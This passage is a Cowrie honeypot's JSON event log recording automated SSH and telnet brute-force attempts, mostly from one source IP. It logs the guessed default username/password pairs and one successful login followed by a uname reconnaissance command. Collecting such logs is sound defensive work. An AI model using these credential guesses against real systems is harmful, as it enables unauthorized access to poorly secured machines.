0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:05:35.575833Z","src_ip":"176.65.132.129","session":"763f4bc57312","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gitlab-runner","password":"123456","message":"login attempt [gitlab-runner/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:05:35.822397Z","src_ip":"176.65.132.129","session":"763f4bc57312","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.27774119377136,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:05:36.432375Z","src_ip":"45.58.127.90","session":"ef6b0069b287","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:05:36.907035Z","src_ip":"176.65.132.129","session":"763f4bc57312","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":47784,"dst_ip":"159.203.135.109","dst_port":22,"session":"85bfe5c1a05d","protocol":"ssh","message":"New connection: 176.65.132.129:47784 (159.203.135.109:22) [session: 85bfe5c1a05d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:05:38.864265Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:05:38.869725Z","src_ip":"176.65.132.129","session":"85bfe5c1a05d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:05:38.961433Z","src_ip":"176.65.132.129","session":"85bfe5c1a05d","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"qwe123","message":"login attempt [oracle/qwe123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:05:39.210259Z","src_ip":"176.65.132.129","session":"85bfe5c1a05d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:05:39.420431Z","src_ip":"176.65.132.129","session":"85bfe5c1a05d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:05:39.423806Z","src_ip":"176.65.132.129","session":"85bfe5c1a05d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:05:39.509699Z","src_ip":"176.65.132.129","session":"85bfe5c1a05d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:05:39.513670Z","src_ip":"176.65.132.129","session":"85bfe5c1a05d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.843705892562866,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:05:41.096461Z","src_ip":"45.58.127.90","session":"cfb43bf3714b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":47788,"dst_ip":"159.203.135.109","dst_port":22,"session":"5d8849c9ef80","protocol":"ssh","message":"New connection: 176.65.132.129:47788 (159.203.135.109:22) [session: 5d8849c9ef80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:05:42.501995Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:05:42.507298Z","src_ip":"176.65.132.129","session":"5d8849c9ef80","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:05:42.589610Z","src_ip":"176.65.132.129","session":"5d8849c9ef80","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"123456789","message":"login attempt [debian/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:05:42.839004Z","src_ip":"176.65.132.129","session":"5d8849c9ef80","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:05:43.923897Z","src_ip":"176.65.132.129","session":"5d8849c9ef80","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":60516,"dst_ip":"159.203.135.109","dst_port":22,"session":"9687ae396a43","protocol":"ssh","message":"New connection: 176.65.132.129:60516 (159.203.135.109:22) [session: 9687ae396a43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:05:45.889732Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:05:45.896818Z","src_ip":"176.65.132.129","session":"9687ae396a43","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:05:45.979589Z","src_ip":"176.65.132.129","session":"9687ae396a43","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123456@","message":"login attempt [root/Aa123456@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:05:46.230846Z","src_ip":"176.65.132.129","session":"9687ae396a43","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:05:47.400570Z","src_ip":"176.65.132.129","session":"9687ae396a43","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":60102,"dst_ip":"10.17.0.5","dst_port":23,"session":"e286b3cb832d","protocol":"telnet","message":"New connection: 45.58.127.90:60102 (10.17.0.5:23) [session: e286b3cb832d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:05:48.803855Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":60104,"dst_ip":"10.17.0.5","dst_port":23,"session":"b18b47b6df13","protocol":"telnet","message":"New connection: 45.58.127.90:60104 (10.17.0.5:23) [session: b18b47b6df13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:05:49.046936Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":60528,"dst_ip":"159.203.135.109","dst_port":22,"session":"18a3f46beeb7","protocol":"ssh","message":"New connection: 176.65.132.129:60528 (159.203.135.109:22) [session: 18a3f46beeb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:05:49.204307Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:05:49.209171Z","src_ip":"176.65.132.129","session":"18a3f46beeb7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:05:49.291163Z","src_ip":"176.65.132.129","session":"18a3f46beeb7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fivem","password":"fivem","message":"login attempt [fivem/fivem] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:05:49.772417Z","src_ip":"176.65.132.129","session":"18a3f46beeb7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:05:50.857166Z","src_ip":"176.65.132.129","session":"18a3f46beeb7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":60542,"dst_ip":"159.203.135.109","dst_port":22,"session":"02aa7bd7667d","protocol":"ssh","message":"New connection: 176.65.132.129:60542 (159.203.135.109:22) [session: 02aa7bd7667d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:05:52.908302Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:05:52.911840Z","src_ip":"176.65.132.129","session":"02aa7bd7667d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:05:52.992611Z","src_ip":"176.65.132.129","session":"02aa7bd7667d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abc12345","message":"login attempt [root/Abc12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:05:53.237703Z","src_ip":"176.65.132.129","session":"02aa7bd7667d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:05:54.321127Z","src_ip":"176.65.132.129","session":"02aa7bd7667d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":53492,"dst_ip":"159.203.135.109","dst_port":22,"session":"7e8739b1838d","protocol":"ssh","message":"New connection: 176.65.132.129:53492 (159.203.135.109:22) [session: 7e8739b1838d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:05:56.257787Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:05:56.261730Z","src_ip":"176.65.132.129","session":"7e8739b1838d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:05:56.342876Z","src_ip":"176.65.132.129","session":"7e8739b1838d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ivan","password":"ivan","message":"login attempt [ivan/ivan] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:05:56.591824Z","src_ip":"176.65.132.129","session":"7e8739b1838d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:05:57.676271Z","src_ip":"176.65.132.129","session":"7e8739b1838d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.908538579940796,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:05:58.675200Z","src_ip":"45.58.127.90","session":"ae0993fc959e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.50152397155762,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:05:59.204118Z","src_ip":"45.58.127.90","session":"2c8f9aaed9e4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":53512,"dst_ip":"159.203.135.109","dst_port":22,"session":"bc442acd6f63","protocol":"ssh","message":"New connection: 176.65.132.129:53512 (159.203.135.109:22) [session: bc442acd6f63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:05:59.764182Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:05:59.768498Z","src_ip":"176.65.132.129","session":"bc442acd6f63","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:05:59.851059Z","src_ip":"176.65.132.129","session":"bc442acd6f63","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"esroot","password":"esroot","message":"login attempt [esroot/esroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:06:00.098082Z","src_ip":"176.65.132.129","session":"bc442acd6f63","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:06:01.183361Z","src_ip":"176.65.132.129","session":"bc442acd6f63","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":53528,"dst_ip":"159.203.135.109","dst_port":22,"session":"ef232713dc33","protocol":"ssh","message":"New connection: 176.65.132.129:53528 (159.203.135.109:22) [session: ef232713dc33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:06:03.150774Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:06:03.155602Z","src_ip":"176.65.132.129","session":"ef232713dc33","protocol":"ssh"}
